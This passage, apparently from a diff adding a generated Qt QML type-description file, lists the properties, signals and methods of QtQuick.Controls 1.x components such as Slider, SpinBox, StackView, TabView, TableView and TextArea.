Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "wheelEnabled"; type: "bool" } + Method { name: "accessibleIncreaseAction"; type: "QVariant" } + Method { name: "accessibleDecreaseAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Slider 1.6" + exports: ["QtQuick.Controls/Slider 1.6"] + exportMetaObjectRevisions: [6] + isComposite: true + defaultProperty: "data" + Property { name: "orientation"; type: "int" } + Property { name: "updateValueWhileDragging"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "tickmarksEnabled"; type: "bool" } + Property { name: "__horizontal"; type: "bool" } + Property { name: "__handlePos"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "stepSize"; type: "double" } + Property { name: "value"; type: "double" } + Property { name: "wheelEnabled"; type: "bool" } + Method { name: "accessibleIncreaseAction"; type: "QVariant" } + Method { name: "accessibleDecreaseAction"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/SliderStyle 1.0" + exports: ["QtQuick.Controls.Styles/SliderStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "Slider_QMLTYPE_218"; isReadonly: true; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "groove"; type: "QQmlComponent"; isPointer: true } + Property { name: "tickmarks"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/SpinBox 1.0" + exports: ["QtQuick.Controls/SpinBox 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "hovered"; type: "bool"; isReadonly: true } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "value"; type: "double" } + Property { name: "minimumValue"; type: "double" } + Property { name: "maximumValue"; type: "double" } + Property { name: "stepSize"; type: "double" } + Property { name: "suffix"; type: "string" } + Property { name: "prefix"; type: "string" } + Property { name: "decimals"; type: "int" } + Property { name: "font"; type: "QFont" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "__text"; type: "string" } + Property { name: "__baselineOffset"; type: "double" } + Signal { name: "editingFinished" } + Method { name: "__increment"; type: "QVariant" } + Method { name: "__decrement"; type: "QVariant" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/SpinBoxStyle 1.1" + exports: ["QtQuick.Controls.Styles/SpinBoxStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "SpinBox_QMLTYPE_238"; isReadonly: true; isPointer: true } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "textColor"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "renderType"; type: "int" } + Property { name: "font"; type: "QFont" } + Property { name: "incrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "decrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__selectionHandle"; type: "QQmlComponent"; isPointer: true } + Property { name: "__cursorDelegate"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickItem" + name: "QtQuick.Controls/SplitView 1.0" + exports: ["QtQuick.Controls/SplitView 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "__contents" + Property { name: "orientation"; type: "int" } + Property { name: "handleDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "resizing"; type: "bool" } + Property { name: "__contents"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "__items"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "__handles"; type: "QQuickItem"; isList: true; isReadonly: true } + Method { + name: "addItem" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + } + Method { + name: "removeItem" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/StackView 1.0" + exports: ["QtQuick.Controls/StackView 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "initialItem"; type: "QVariant" } + Property { name: "busy"; type: "bool"; isReadonly: true } + Property { name: "delegate"; type: "StackViewDelegate_QMLTYPE_252"; isPointer: true } + Property { name: "__currentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__depth"; type: "int" } + Property { name: "__currentTransition"; type: "QVariant" } + Property { name: "__guard"; type: "bool" } + Property { name: "invalidItemReplacement"; type: "QQmlComponent"; isPointer: true } + Property { name: "depth"; type: "int"; isReadonly: true } + Property { name: "currentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Method { + name: "push" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + } + Method { + name: "pop" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + } + Method { name: "clear"; type: "QVariant" } + Method { + name: "find" + type: "QVariant" + Parameter { name: "func"; type: "QVariant" } + Parameter { name: "onlySearchLoadedItems"; type: "QVariant" } + } + Method { + name: "get" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "dontLoad"; type: "QVariant" } + } + Method { name: "completeTransition"; type: "QVariant" } + Method { + name: "replace" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + Parameter { name: "properties"; type: "QVariant" } + Parameter { name: "immediate"; type: "QVariant" } + } + Method { + name: "__recursionGuard" + type: "QVariant" + Parameter { name: "use"; type: "QVariant" } + } + Method { + name: "__loadElement" + type: "QVariant" + Parameter { name: "element"; type: "QVariant" } + } + Method { + name: "__resolveComponent" + type: "QVariant" + Parameter { name: "unknownObjectType"; type: "QVariant" } + Parameter { name: "element"; type: "QVariant" } + } + Method { + name: "__cleanup" + type: "QVariant" + Parameter { name: "element"; type: "QVariant" } + } + Method { + name: "__setStatus" + type: "QVariant" + Parameter { name: "item"; type: "QVariant" } + Parameter { name: "status"; type: "QVariant" } + } + Method { + name: "__performTransition" + type: "QVariant" + Parameter { name: "transition"; type: "QVariant" } + } + Method { name: "animationFinished"; type: "QVariant" } + } + Component { + prototype: "QObject" + name: "QtQuick.Controls/StackViewDelegate 1.0" + exports: ["QtQuick.Controls/StackViewDelegate 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + Property { name: "pushTransition"; type: "QQmlComponent"; isPointer: true } + Property { name: "popTransition"; type: "QQmlComponent"; isPointer: true } + Property { name: "replaceTransition"; type: "QQmlComponent"; isPointer: true } + Method { + name: "getTransition" + type: "QVariant" + Parameter { name: "properties"; type: "QVariant" } + } + Method { + name: "transitionFinished" + type: "QVariant" + Parameter { name: "properties"; type: "QVariant" } + } + } + Component { + prototype: "QQuickParallelAnimation" + name: "QtQuick.Controls/StackViewTransition 1.0" + exports: ["QtQuick.Controls/StackViewTransition 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "animations" + Property { name: "name"; type: "string" } + Property { name: "enterItem"; type: "QQuickItem"; isPointer: true } + Property { name: "exitItem"; type: "QQuickItem"; isPointer: true } + Property { name: "immediate"; type: "bool" } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/StatusBar 1.0" + exports: ["QtQuick.Controls/StatusBar 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "__content" + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "__style"; type: "QObject"; isReadonly: true; isPointer: true } + Property { name: "__content"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/StatusBarStyle 1.0" + exports: ["QtQuick.Controls.Styles/StatusBarStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "background"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/StatusIndicatorStyle 1.1" + exports: ["QtQuick.Controls.Styles/StatusIndicatorStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { + name: "control" + type: "StatusIndicator_QMLTYPE_261" + isReadonly: true + isPointer: true + } + Property { name: "color"; type: "QColor" } + Property { name: "indicator"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/Switch 1.1" + exports: ["QtQuick.Controls/Switch 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "checked"; type: "bool" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "exclusiveGroup"; type: "QQuickExclusiveGroup1"; isPointer: true } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Signal { name: "clicked" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "QObject"; isPointer: true } + Property { name: "__panel"; type: "QQuickItem"; isPointer: true } + Property { name: "styleHints"; type: "QVariant" } + Property { name: "__styleData"; type: "QObject"; isPointer: true } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/SwitchStyle 1.1" + exports: ["QtQuick.Controls.Styles/SwitchStyle 1.1"] + exportMetaObjectRevisions: [1] + isComposite: true + defaultProperty: "data" + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "groove"; type: "QQmlComponent"; isPointer: true } + Property { name: "panel"; type: "QQmlComponent"; isPointer: true } + Property { name: "control"; type: "QQuickItem"; isReadonly: true; isPointer: true } + } + Component { + prototype: "QQuickLoader" + name: "QtQuick.Controls/Tab 1.0" + exports: ["QtQuick.Controls/Tab 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "component" + Property { name: "title"; type: "string" } + Property { name: "__inserted"; type: "bool" } + Property { name: "component"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TabView 1.0" + exports: ["QtQuick.Controls/TabView 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "currentIndex"; type: "int" } + Property { name: "count"; type: "int"; isReadonly: true } + Property { name: "frameVisible"; type: "bool" } + Property { name: "tabsVisible"; type: "bool" } + Property { name: "tabPosition"; type: "int" } + Property { name: "__tabs"; type: "QQmlListModel"; isPointer: true } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__styleItem"; type: "QVariant" } + Property { name: "contentItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Method { + name: "addTab" + type: "QVariant" + Parameter { name: "title"; type: "QVariant" } + Parameter { name: "component"; type: "QVariant" } + } + Method { + name: "insertTab" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "title"; type: "QVariant" } + Parameter { name: "component"; type: "QVariant" } + } + Method { + name: "removeTab" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "moveTab" + type: "QVariant" + Parameter { name: "from"; type: "QVariant" } + Parameter { name: "to"; type: "QVariant" } + } + Method { + name: "getTab" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "__willRemoveIndex" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "__didInsertIndex" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { name: "__setOpacities"; type: "QVariant" } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TabViewStyle 1.0" + exports: ["QtQuick.Controls.Styles/TabViewStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "TabView_QMLTYPE_280"; isReadonly: true; isPointer: true } + Property { name: "tabsMovable"; type: "bool" } + Property { name: "tabsAlignment"; type: "int" } + Property { name: "tabOverlap"; type: "int" } + Property { name: "frameOverlap"; type: "int" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "tab"; type: "QQmlComponent"; isPointer: true } + Property { name: "leftCorner"; type: "QQmlComponent"; isPointer: true } + Property { name: "rightCorner"; type: "QQmlComponent"; isPointer: true } + Property { name: "tabBar"; type: "QQmlComponent"; isPointer: true } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TableView 1.0" + exports: ["QtQuick.Controls/TableView 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "__columns" + Property { name: "model"; type: "QVariant" } + Property { name: "rowCount"; type: "int"; isReadonly: true } + Property { name: "currentRow"; type: "int" } + Property { + name: "selection" + type: "TableViewSelection_QMLTYPE_308" + isReadonly: true + isPointer: true + } + Signal { + name: "activated" + Parameter { name: "row"; type: "int" } + } + Signal { + name: "clicked" + Parameter { name: "row"; type: "int" } + } + Signal { + name: "doubleClicked" + Parameter { name: "row"; type: "int" } + } + Signal { + name: "pressAndHold" + Parameter { name: "row"; type: "int" } + } + Method { + name: "positionViewAtRow" + type: "QVariant" + Parameter { name: "row"; type: "QVariant" } + Parameter { name: "mode"; type: "QVariant" } + } + Method { + name: "rowAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Property { name: "alternatingRowColors"; type: "bool" } + Property { name: "headerVisible"; type: "bool" } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "rowDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "headerDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "sortIndicatorColumn"; type: "int" } + Property { name: "sortIndicatorVisible"; type: "bool" } + Property { name: "sortIndicatorOrder"; type: "int" } + Property { name: "selectionMode"; type: "int" } + Property { name: "__viewTypeName"; type: "string" } + Property { name: "__isTreeView"; type: "bool"; isReadonly: true } + Property { name: "__itemDelegateLoader"; type: "QQmlComponent"; isPointer: true } + Property { name: "__model"; type: "QVariant" } + Property { name: "__activateItemOnSingleClick"; type: "bool" } + Property { name: "__mouseArea"; type: "QQuickItem"; isPointer: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "contentHeader"; type: "QQmlComponent"; isPointer: true } + Property { name: "contentFooter"; type: "QQmlComponent"; isPointer: true } + Property { name: "columnCount"; type: "int"; isReadonly: true } + Property { name: "section"; type: "QQuickViewSection"; isReadonly: true; isPointer: true } + Property { name: "__columns"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "__currentRowItem"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "__currentRow"; type: "int" } + Property { name: "__listView"; type: "QQuickListView"; isReadonly: true; isPointer: true } + Method { + name: "addColumn" + type: "QVariant" + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "insertColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + Parameter { name: "column"; type: "QVariant" } + } + Method { + name: "removeColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { + name: "moveColumn" + type: "QVariant" + Parameter { name: "from"; type: "QVariant" } + Parameter { name: "to"; type: "QVariant" } + } + Method { + name: "getColumn" + type: "QVariant" + Parameter { name: "index"; type: "QVariant" } + } + Method { name: "resizeColumnsToContents"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QObject" + name: "QtQuick.Controls/TableViewColumn 1.0" + exports: ["QtQuick.Controls/TableViewColumn 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + Property { name: "__view"; type: "QQuickItem"; isPointer: true } + Property { name: "__index"; type: "int" } + Property { name: "title"; type: "string" } + Property { name: "role"; type: "string" } + Property { name: "width"; type: "int" } + Property { name: "visible"; type: "bool" } + Property { name: "resizable"; type: "bool" } + Property { name: "movable"; type: "bool" } + Property { name: "elideMode"; type: "int" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Method { name: "resizeToContents"; type: "QVariant" } + } + Component { + prototype: "QQuickAbstractStyle1" + name: "QtQuick.Controls.Styles/TableViewStyle 1.0" + exports: ["QtQuick.Controls.Styles/TableViewStyle 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "control"; type: "TableView_QMLTYPE_312"; isReadonly: true; isPointer: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "backgroundColor"; type: "QColor" } + Property { name: "alternateBackgroundColor"; type: "QColor" } + Property { name: "highlightedTextColor"; type: "QColor" } + Property { name: "activateItemOnSingleClick"; type: "bool" } + Property { name: "headerDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "rowDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "itemDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__branchDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "__indentation"; type: "int" } + Property { name: "corner"; type: "QQmlComponent"; isPointer: true } + Property { name: "scrollToClickedPosition"; type: "bool" } + Property { name: "transientScrollBars"; type: "bool" } + Property { name: "frame"; type: "QQmlComponent"; isPointer: true } + Property { name: "minimumHandleLength"; type: "int" } + Property { name: "handleOverlap"; type: "int" } + Property { name: "scrollBarBackground"; type: "QQmlComponent"; isPointer: true } + Property { name: "handle"; type: "QQmlComponent"; isPointer: true } + Property { name: "incrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "decrementControl"; type: "QQmlComponent"; isPointer: true } + Property { name: "__scrollbar"; type: "QQmlComponent"; isPointer: true } + Property { name: "__externalScrollBars"; type: "bool" } + Property { name: "__scrollBarSpacing"; type: "int" } + Property { name: "__scrollBarFadeDelay"; type: "int" } + Property { name: "__scrollBarFadeDuration"; type: "int" } + Property { name: "__stickyScrollbars"; type: "bool" } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TextArea 1.0" + exports: ["QtQuick.Controls/TextArea 1.0"] + exportMetaObjectRevisions: [0] + isComposite: true + defaultProperty: "data" + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "tabChangesFocus"; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "effectiveHorizontalAlignment"; type: "int"; isReadonly: true } + Property { name: "verticalAlignment"; type: "int" } + Property { name: "inputMethodHints"; type: "int" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "readOnly"; type: "bool" } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "text"; type: "string" } + Property { name: "textFormat"; type: "int" } + Property { name: "wrapMode"; type: "int" } + Property { name: "selectByKeyboard"; type: "bool" } + Property { name: "hoveredLink"; type: "string"; isReadonly: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "textMargin"; type: "double" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "textDocument"; type: "QQuickTextDocument"; isReadonly: true; isPointer: true } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + Parameter { name: "link"; type: "string" } + } + Signal { name: "editingFinished" } + Method { + name: "append" + type: "QVariant" + Parameter { name: "string"; type: "QVariant" } + } + Method { name: "copy"; type: "QVariant" } + Method { name: "cut"; type: "QVariant" } + Method { name: "deselect"; type: "QVariant" } + Method { + name: "getFormattedText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "getText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "insert" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "isRightToLeft" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "moveCursorSelection" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "mode"; type: "QVariant" } + } + Method { name: "paste"; type: "QVariant" } + Method { + name: "positionAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Method { + name: "positionToRectangle" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + } + Method { name: "redo"; type: "QVariant" } + Method { + name: "remove" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "select" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { name: "selectAll"; type: "QVariant" } + Method { name: "selectWord"; type: "QVariant" } + Method { name: "undo"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + } + Property { name: "__verticalScrollbarOffset"; type: "int" } + Property { name: "__wheelAreaScrollSpeed"; type: "double" } + Property { + name: "__horizontalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + Property { + name: "__verticalScrollBar" + type: "ScrollBar_QMLTYPE_28" + isReadonly: true + isPointer: true + } + } + Component { + prototype: "QQuickFocusScope" + name: "QtQuick.Controls/TextArea 1.3" + exports: ["QtQuick.Controls/TextArea 1.3"] + exportMetaObjectRevisions: [3] + isComposite: true + defaultProperty: "data" + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "tabChangesFocus"; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "menu"; type: "QQmlComponent"; isPointer: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "textColor"; type: "QColor" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "int" } + Property { name: "effectiveHorizontalAlignment"; type: "int"; isReadonly: true } + Property { name: "verticalAlignment"; type: "int" } + Property { name: "inputMethodHints"; type: "int" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "readOnly"; type: "bool" } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "text"; type: "string" } + Property { name: "textFormat"; type: "int" } + Property { name: "wrapMode"; type: "int" } + Property { name: "selectByKeyboard"; type: "bool" } + Property { name: "hoveredLink"; type: "string"; isReadonly: true } + Property { name: "backgroundVisible"; type: "bool" } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "textMargin"; type: "double" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "textDocument"; type: "QQuickTextDocument"; isReadonly: true; isPointer: true } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + Parameter { name: "link"; type: "string" } + } + Signal { name: "editingFinished" } + Method { + name: "append" + type: "QVariant" + Parameter { name: "string"; type: "QVariant" } + } + Method { name: "copy"; type: "QVariant" } + Method { name: "cut"; type: "QVariant" } + Method { name: "deselect"; type: "QVariant" } + Method { + name: "getFormattedText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "getText" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "insert" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "text"; type: "QVariant" } + } + Method { + name: "isRightToLeft" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "moveCursorSelection" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + Parameter { name: "mode"; type: "QVariant" } + } + Method { name: "paste"; type: "QVariant" } + Method { + name: "positionAt" + type: "QVariant" + Parameter { name: "x"; type: "QVariant" } + Parameter { name: "y"; type: "QVariant" } + } + Method { + name: "positionToRectangle" + type: "QVariant" + Parameter { name: "position"; type: "QVariant" } + } + Method { name: "redo"; type: "QVariant" } + Method { + name: "remove" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { + name: "select" + type: "QVariant" + Parameter { name: "start"; type: "QVariant" } + Parameter { name: "end"; type: "QVariant" } + } + Method { name: "selectAll"; type: "QVariant" } + Method { name: "selectWord"; type: "QVariant" } + Method { name: "undo"; type: "QVariant" } + Property { name: "frameVisible"; type: "bool" } + Property { name: "highlightOnFocus"; type: "bool" } + Property { name: "contentItem"; type: "QQuickItem"; isPointer: true } + Property { name: "__scrollBarTopMargin"; type: "int" } + Property { name: "__viewTopMargin"; type: "int" } + Property { name: "style"; type: "QQmlComponent"; isPointer: true } + Property { name: "__style"; type: "Style_QMLTYPE_3"; isPointer: true } + Property { name: "horizontalScrollBarPolicy"; type: "int" } + Property { name: "verticalScrollBarPolicy"; type: "int" } + Property { name: "viewport"; type: "QQuickItem"; isReadonly: true; isPointer: true } + Property { name: "flickableItem"; type: "QQuickFlickable"; isReadonly: true; isPointer: true } + Property { + name: "__scroller" + type: "ScrollViewHelper_QMLTYPE_32" + isReadonly: true + isPointer: true + 